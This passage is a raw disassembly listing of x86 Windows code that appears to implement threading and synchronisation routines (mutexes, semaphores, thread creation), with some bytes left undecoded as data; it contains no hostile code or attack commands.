CODE XREF: ___:0042F49Bj ; ___:0042F4A1j mov edx, [esi+8] mov eax, dword_50E3DC push edx push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 8 loc_42F4BE: ; CODE XREF: ___:0042F493j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F4F0 proc near ; CODE XREF: sub_401659j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_50E3DC push edx call sub_401190 sub_42F4F0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_50E3DC push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F540 proc near ; CODE XREF: sub_401B4Fj arg_0 = dword ptr 4 push esi push offset dword_50E920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42F574 push esi push ecx call sub_401541 add esp, 8 mov esi, eax push offset dword_50E920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F574: ; CODE XREF: sub_42F540+17j test eax, eax jnz short loc_42F57D mov esi, 16h loc_42F57D: ; CODE XREF: sub_42F540+36j push offset dword_50E920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_42F540 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5B0: ; CODE XREF: ___:004020FEj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42F5D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42F5D3: ; CODE XREF: ___:0042F5C2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5F0: ; CODE XREF: ___:004021D0j push esi mov esi, [esp+8] test esi, esi jz short loc_42F613 mov eax, [esi] test eax, eax jz short loc_42F613 push eax call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F613: ; CODE XREF: ___:0042F5F7j ; ___:0042F5FDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F630: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_42F64D mov eax, [eax] test eax, eax jz short loc_42F64D mov ecx, [esp+8] test ecx, ecx jz short loc_42F64D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F64D: ; CODE XREF: ___:0042F636j ; ___:0042F63Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F670: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_42F69A mov ecx, [eax] test ecx, ecx jz short loc_42F69A mov eax, [esp+8] cmp eax, 1 jz short loc_42F68E test eax, eax jnz short loc_42F69A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F68E: ; CODE XREF: ___:0042F685j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F69A: ; CODE XREF: ___:0042F676j ; ___:0042F67Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6B0 proc near ; CODE XREF: sub_401541j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_42F6C6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_42F6ED mov eax, [eax] cmp eax, edi jz short loc_42F6ED cmp dword ptr [eax], 1 jnz short loc_42F6ED mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej ; sub_42F6B0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_42F712 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F712: ; CODE XREF: sub_42F6B0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F737 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F77B ; --------------------------------------------------------------------------- loc_42F737: ; CODE XREF: sub_42F6B0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F755 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F772 ; --------------------------------------------------------------------------- loc_42F755: ; CODE XREF: sub_42F6B0+99j lea eax, [esi+14h] push 0 push eax call sub_402199 mov edi, eax add esp, 8 test edi, edi jz short loc_42F7DF push ebx call sub_401686 add esp, 4 loc_42F772: ; CODE XREF: sub_42F6B0+A3j push ebp call sub_401686 add esp, 4 loc_42F77B: ; CODE XREF: sub_42F6B0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_42F7D2 loc_42F78B: ; CODE XREF: sub_42F6B0+131j push offset dword_50E9A0 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_50E3E4 mov [esi+1Ch], ecx mov eax, dword_50E3E4 test eax, eax jz short loc_42F7B2 mov [eax+18h], esi loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj mov eax, dword_50E3E0 mov dword_50E3E4, esi test eax, eax jnz short loc_42F7C7 mov dword_50E3E0, esi loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj push offset dword_50E9A0 nop call near ptr 7C9010EDh loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j xor edi, edi jmp short loc_42F78B sub_42F6B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F840 proc near ; CODE XREF: sub_401A91j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_42F9EC mov eax, [edi] test eax, eax jz loc_42F9EC cmp eax, 0FFFFFFFFh jz loc_42F9A3 push offset dword_50E9A0 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42F899 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F899: ; CODE XREF: sub_42F840+49j lea ebp, [esi+14h] push ebp call sub_40177B add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_42F8C0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F8C0: ; CODE XREF: sub_42F840+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_42F8F9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42F8E2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_42F8E2: ; CODE XREF: sub_42F840+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_42F98E ; --------------------------------------------------------------------------- loc_42F8F9: ; CODE XREF: sub_42F840+87j push ebx mov dword ptr [edi], 0 call sub_401686 mov edi, dword_50FA64 add esp, 4 test eax, eax jz short loc_42F91A call edi mov edx, [eax] mov [esp+14h+arg_0], edx loc_42F91A: ; CODE XREF: sub_42F840+D0j lea eax, [esi+0Ch] push eax call sub_401686 add esp, 4 test eax, eax jz short loc_42F932 call edi mov ecx, [eax] mov [esp+14h+var_4], ecx loc_42F932: ; CODE XREF: sub_42F840+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42F94C push ebp call sub_40222F add esp, 4 mov ebx, eax loc_42F94C: ; CODE XREF: sub_42F840+FFj cmp dword_50E3E0, esi jnz short loc_42F95F mov edx, [esi+18h] mov dword_50E3E0, edx jmp short loc_42F968 ; --------------------------------------------------------------------------- loc_42F95F: ; CODE XREF: sub_42F840+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_42F968: ; CODE XREF: sub_42F840+11Dj cmp dword_50E3E4, esi jnz short loc_42F97B mov edx, [esi+1Ch] mov dword_50E3E4, edx jmp short loc_42F984 ; --------------------------------------------------------------------------- loc_42F97B: ; CODE XREF: sub_42F840+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_42F984: ; CODE XREF: sub_42F840+139j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_42F98E: ; CODE XREF: sub_42F840+B4j push offset dword_50E9A0 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_42F9D2 ; --------------------------------------------------------------------------- loc_42F9A3: ; CODE XREF: sub_42F840+28j push offset dword_50E920 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42F9BB mov dword ptr [edi], 0 jmp short loc_42F9C7 ; --------------------------------------------------------------------------- loc_42F9BB: ; CODE XREF: sub_42F840+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_42F9C7: ; CODE XREF: sub_42F840+179j push offset dword_50E920 call near ptr 7C9010EDh nop loc_42F9D2: ; CODE XREF: sub_42F840+161j test esi, esi jz short loc_42F9DE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9DE: ; CODE XREF: sub_42F840+194j test ebp, ebp mov eax, ebp jnz short loc_42F9F1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9EC: ; CODE XREF: sub_42F840+15j ; sub_42F840+1Fj mov eax, 16h loc_42F9F1: ; CODE XREF: sub_42F840+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F840 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FA70 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FA70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp ; sub_42FD70+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_42FBA9 mov eax, [esi] test eax, eax jz loc_42FBA9 cmp eax, 0FFFFFFFFh jnz short loc_42FAE2 push esi call sub_401B4F add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_42FAE2 cmp eax, 10h jnz loc_42FBAE loc_42FAE2: ; CODE XREF: sub_42FAA0+26j ; sub_42FAA0+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_42FB02 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB02: ; CODE XREF: sub_42FAA0+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FB22 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB22: ; CODE XREF: sub_42FAA0+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_42FC10 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401659 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 7EF73FE8h dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42FBA9: ; CODE XREF: sub_42FAA0+13j ; sub_42FAA0+1Dj mov eax, 16h loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj pop edi pop esi add esp, 20h retn sub_42FAA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FC10: ; DATA XREF: sub_42FAA0+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402225 add esp, 4 test eax, eax jz short loc_42FC3B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC3B: ; CODE XREF: ___:0042FC31j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_42FC4E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_42FCB7 ; --------------------------------------------------------------------------- loc_42FC4E: ; CODE XREF: ___:0042FC44j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_42FCB7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42FC82 call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC82: ; CODE XREF: ___:0042FC6Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FCAC nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCAC: ; CODE XREF: ___:0042FC96j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_42FCB7: ; CODE XREF: ___:0042FC4Cj ; ___:0042FC5Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_42FCD0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCD0: ; CODE XREF: ___:0042FCC2j cmp ebx, 1 jnz short loc_42FCF9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_42FCF9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCF9: ; CODE XREF: ___:0042FCD3j ; ___:0042FCE3j mov ecx, [ebp+0] push ecx call sub_402225 add esp, 4 test eax, eax jz short loc_42FD0F mov edx, [esp+18h] mov [edx], eax loc_42FD0F: ; CODE XREF: ___:0042FD07j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD70 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_42FD7E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FD7E: ; CODE XREF: sub_42FD70+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FD70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDB0 proc near ; CODE XREF: sub_401E51j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_42FDD0 add esp, 8 retn sub_42FDB0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p ; sub_42FF30+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_42FED4 mov esi, [eax] test esi, esi jz loc_42FED4 cmp esi, 0FFFFFFFFh jnz short loc_42FDF4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj lea ebx, [esi+14h] push ebx call sub_402225 add esp, 4 test eax, eax jnz loc_42FED9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_42FE44 test eax, eax jnz short loc_42FE22 loc_42FE15: ; CODE XREF: sub_42FDD0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE22: ; CODE XREF: sub_42FDD0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_42FE39 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE39: ; CODE XREF: sub_42FDD0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_42FEA3 ; --------------------------------------------------------------------------- loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj cmp eax, [esi+4] jle short loc_42FE15 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_42FE70 nop call near ptr 77C1F2BCh mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE70: ; CODE XREF: sub_42FDD0+87j mov eax, [esi+4] test eax, eax jz short loc_42FE84 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_42FE84: ; CODE XREF: sub_42FDD0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_42FE99 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE99: ; CODE XREF: sub_42FDD0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_42FEA3: ; CODE XREF: sub_42FDD0+72j dec eax mov [esi], eax loc_42FEA6: ; CODE XREF: sub_42FDD0+67j ; sub_42FDD0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42FECE add esi, 0Ch push edi push esi call sub_40204A add esp, 8 test eax, eax jz short loc_42FECE call near ptr 77C1F2BCh nop mov ebx, [eax] loc_42FECE: ; CODE XREF: sub_42FDD0+E3j ; sub_42FDD0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FED4: ; CODE XREF: sub_42FDD0+9j ; sub_42FDD0+13j mov eax, 16h loc_42FED9: ; CODE XREF: sub_42FDD0+32j pop edi pop esi pop ebx retn sub_42FDD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF30 proc near ; CODE XREF: sub_401604j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_42FDD0 add esp, 8 retn sub_42FF30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF50 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B13 mov esi, eax test esi, esi jz loc_430026 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jz loc_430026 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_42FFCE mov eax, [ebp+0] test eax, eax jz short loc_42FFCE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_42FFD0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_42FFD0 ; --------------------------------------------------------------------------- loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj ; sub_42FF50+54j xor edi, edi loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej ; sub_42FF50+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401B95 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call near ptr 77C3A3DBh nop mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_430019 test ebp, ebp jz short loc_430012 cmp dword ptr [ebp+0], 0 jz short loc_430012 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020B3 add esp, 0Ch loc_430012: ; CODE XREF: sub_42FF50+AAj ; sub_42FF50+B0j push edi nop call near ptr 2770000h loc_430019: ; CODE XREF: sub_42FF50+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_430059 loc_430026: ; CODE XREF: sub_42FF50+14j ; sub_42FF50+30j push esi call sub_4017AD add esp, 4 xor esi, esi test ebx, ebx jz short loc_43004C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43004C: ; CODE XREF: sub_42FF50+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430059: ; CODE XREF: sub_42FF50+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_42FF50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4300C0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4300F7 ; default jmp off_4300FC[ecx*4] ; switch jump loc_4300D5: ; DATA XREF: ___:off_4300FCo call sub_401708 ; jumptable 004300CE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4300DD: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017B2 ; jumptable 004300CE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4300E5: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4300ED: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 0 call sub_40161D locret_4300F7: ; CODE XREF: ___:004300CCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr dd offset loc_4300D5 ; jump table for switch statement dd offset loc_4300DD dd offset loc_4300E5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_430130: ; CODE XREF: ___:004017B7j mov eax, dword_50E3D8 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h, 4C48377h dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430180 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_50E8E0 xor esi, esi call near ptr 7C901005h nop mov eax, [esp+4+arg_0] test eax, eax jz short loc_4301AB mov eax, [eax+4] test eax, eax jz short loc_4301AB push eax nop call near ptr 27606FAh cmp eax, 7FFFFFFFh jnz short loc_4301B0 loc_4301AB: ; CODE XREF: sub_430180+14j ; sub_430180+1Bj mov esi, 3 loc_4301B0: ; CODE XREF: sub_430180+29j push offset dword_50E8E0 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4301CC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4301CE loc_4301CC: ; CODE XREF: sub_430180+3Dj mov eax, esi loc_4301CE: ; CODE XREF: sub_430180+4Aj pop esi retn sub_430180 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301F0: ; CODE XREF: ___:0040164Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_430241 mov edi, [esp+14h] test edi, edi jz short loc_430241 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_430221 lea eax, [esi+4] push eax nop call near ptr 27605E0h test eax, eax jnz short loc_430227 call edi mov dword ptr [esi], 1 loc_430221: ; CODE XREF: ___:00430209j ; ___:0043022Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430227: ; CODE XREF: ___:00430217j cmp dword ptr [esi], 0 jnz short loc_430221 mov edi, dword_50F8D0 loc_430232: ; CODE XREF: ___:00430239j push 0 call edi cmp dword ptr [esi], 0 jz short loc_430232 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430241: ; CODE XREF: ___:004301F9j ; ___:00430201j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430270 proc near ; CODE XREF: sub_4012E4j mov eax, dword_50E3D8 push esi push edi push eax call sub_401190 sub_430270 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 2320909h, 0F8701D8Bh dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 66E89050h dd 50023506h, 0E850D3FFh, 232FD34h, 5BC08590h, 0E8560E75h dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 2330412h dd 28468990h, 0E3D8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430340 proc near ; CODE XREF: sub_401A50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43035E test eax, eax jz short loc_430358 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43035E loc_430358: ; CODE XREF: sub_430340+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43035E: ; CODE XREF: sub_430340+Aj ; sub_430340+16j xor eax, eax retn sub_430340 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430380: ; CODE XREF: ___:00401FF0j mov eax, [esp+4] test eax, eax jge short loc_43038E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43038E: ; CODE XREF: ___:00430386j mov dword_50E3E8, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4303B0: ; CODE XREF: ___:0040155Aj mov eax, dword_50E3E8 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4303D0 proc near ; CODE XREF: sub_401B13j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4303F2 push 84h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_430439 loc_4303F2: ; CODE XREF: 